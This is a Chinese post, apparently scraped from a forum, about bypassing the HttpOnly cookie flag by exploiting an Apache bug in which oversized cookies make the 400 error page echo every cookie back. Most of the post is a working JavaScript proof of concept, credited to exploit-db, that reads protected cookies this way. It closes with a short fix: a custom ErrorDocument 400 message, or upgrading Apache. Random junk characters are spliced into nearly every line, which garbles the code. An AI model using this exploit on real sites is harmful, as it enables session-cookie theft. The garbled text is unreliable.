很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
0 d% B. i4 D s5 m. W0 ]2 K3 C
5 b6 l" e1 x0 G& r& [9 E' J用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
7 |5 q& m; g$ e# l& t- P* I
+ ^# j- f* ^, h
# @8 f: j* R1 ~! B5 C6 y// http://www.exploit-db.com/exploits/18442/9 Q9 _- ]0 T# s0 e$ ]
function setCookies (good) {
& u+ i9 E7 B, ^- `. d$ n# d8 Y// Construct string for cookie value6 U% A/ N0 O! h9 z8 }$ k$ {* ]
var str = "";. U, ?7 N5 ]( ~. x# b' J6 F( n
for (var i=0; i< 819; i++) {1 ]* e. ~. H7 a8 H
str += "x";
2 S: W9 \& h0 }- K# q; w}/ X8 l2 a4 b1 N0 q/ ]
// Set cookies9 F5 k G# u' M) J) W1 D4 o/ j
for (i = 0; i < 10; i++) {; h" b2 h: l6 {9 `7 [
// Expire evil cookie5 z9 g K0 s2 @4 R) b( Q* D) W
if (good) {
8 L3 @6 _ x7 V2 Tvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";7 t' Z8 f; }; `! C/ f9 b
}* F/ }- `/ E9 G; x, T0 B% V" \
// Set evil cookie- w, s1 y V' ?6 }$ W8 y0 g
else {
+ W2 E2 F+ ]+ ?8 P& X3 X2 q3 X7 V3 Qvar cookie = "xss"+i+"="+str+";path=/";
3 Z5 e* i, T" M8 ]% Y6 W! I}/ q# ^1 [- ~) s/ m. {/ J7 O
document.cookie = cookie;5 i0 _5 ]) h3 h) E+ c V$ z. u
}! ~, q. [$ C3 T2 e" w B8 y
}; g- _* ]' x! U* D6 P
function makeRequest() {. ]5 G2 c! O3 ]1 d3 X2 U
setCookies();3 S$ L0 I% T. b' q: P8 J& X: K3 o) y
function parseCookies () {& p& B$ w2 V3 g, ~3 m
var cookie_dict = {};
+ h+ h' l& P: P+ h+ Y2 b% c// Only react on 400 status9 M' ~. d/ W! q7 G$ Q4 C3 t, d
if (xhr.readyState === 4 && xhr.status === 400) {3 [$ q0 d/ A1 U- P0 j
// Replace newlines and match <pre> content/ [' g2 r) f4 L" }1 I& y
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
; ]) F9 v+ Q' ~& O2 q: g3 y0 Pif (content.length) {6 k* }; q' ~& r9 Y: C8 \6 T% I; j
// Remove Cookie: prefix
7 l& `( q: s' P5 p1 m, B: W4 Q) ]content = content[1].replace("Cookie: ", "");
% v q& l6 p" U$ B$ Cvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);( M8 q% v$ C8 {2 U* ]
// Add cookies to object
+ j& j+ }, s6 B( D: kfor (var i=0; i<cookies.length; i++) {
; o' E9 S* h1 v3 hvar s_c = cookies.split('=',2);$ d7 y8 ~, r& ?2 x2 r
cookie_dict[s_c[0]] = s_c[1];
, {+ ?7 q% o+ F' G}. z1 X' Q! j, D. E4 t4 m* B
}7 h f6 H8 Z, ? a, P# Q1 [
// Unset malicious cookies8 e% Q) C- c- V& y9 K' y P# l
setCookies(true);
3 D/ n4 @7 V, @: P$ ^0 ^alert(JSON.stringify(cookie_dict));/ B3 j; u% M/ u
}+ N5 X/ ]: p+ ]6 q
}2 j3 j' a1 t. I; W
// Make XHR request
+ `: \, n( i, G+ r' uvar xhr = new XMLHttpRequest();
& r2 }" \5 i B5 _% x3 C. u2 nxhr.onreadystatechange = parseCookies;
! b/ Q' o! {% X. A& Wxhr.open("GET", "/", true);
/ E9 g1 p7 I P1 n* @xhr.send(null);
' B( X- l# X: Y6 I}
" U" P' V! I+ {! m6 {. r$ G+ jmakeRequest();1 i! j9 H' p( G; t( _2 |1 ]
% y4 O/ a2 U* D; b: i' V
你就能看见华丽丽的400错误包含着cookie信息。2 d2 v) G* l( f% B' V8 h
, O3 g9 T( v* X
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
& B7 K4 Z9 a+ x% m4 g. j% k4 h& C5 q- s. R. b+ N- A/ {0 o
修复方案:
4 w6 U. m: H" \; j
* C9 M" ]4 o1 b7 |Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
( i& J1 x1 l1 ]2 W# r+ b: [. U( e) f
In the event of a problem or error, Apachecan be configured to do one of four things,% v& r* _4 U2 y& L& m
2 y; V, P/ {' N3 w& c& A1. output asimple hardcoded error message输出一个简单生硬的错误代码信息& w% n" K0 P0 }
2. output acustomized message输出一段信息' W# @4 ]: w: X* ?# w
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 . ]7 [ z4 h0 ^& m0 T) d
4. redirect to an external URL to handle theproblem/error转向一个外部URL
' w; P! v/ r' X% W- R
% k: p1 r. m ?7 _经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容* f% ?2 Q6 O. j2 o* M; ^8 z
; r5 w- g$ ~: `, f9 c) P9 t1 H
Apache配置:0 @( f/ S2 K" e/ L6 H
9 H% w2 b( m( r2 _% hErrorDocument400 " security test"
, X3 K* r' f" w& P1 \5 z \" g
当然,升级apache到最新也可:)。
. F. H) [7 c' o ^6 w8 ^+ U5 S; C! G9 s L. H: `9 z8 {3 c/ z# y* \
参考:http://httpd.apache.org/security/vulnerabilities_22.html
; B) Q1 s$ `" S+ p% k$ z. ]3 n6 P# L3 c" F
|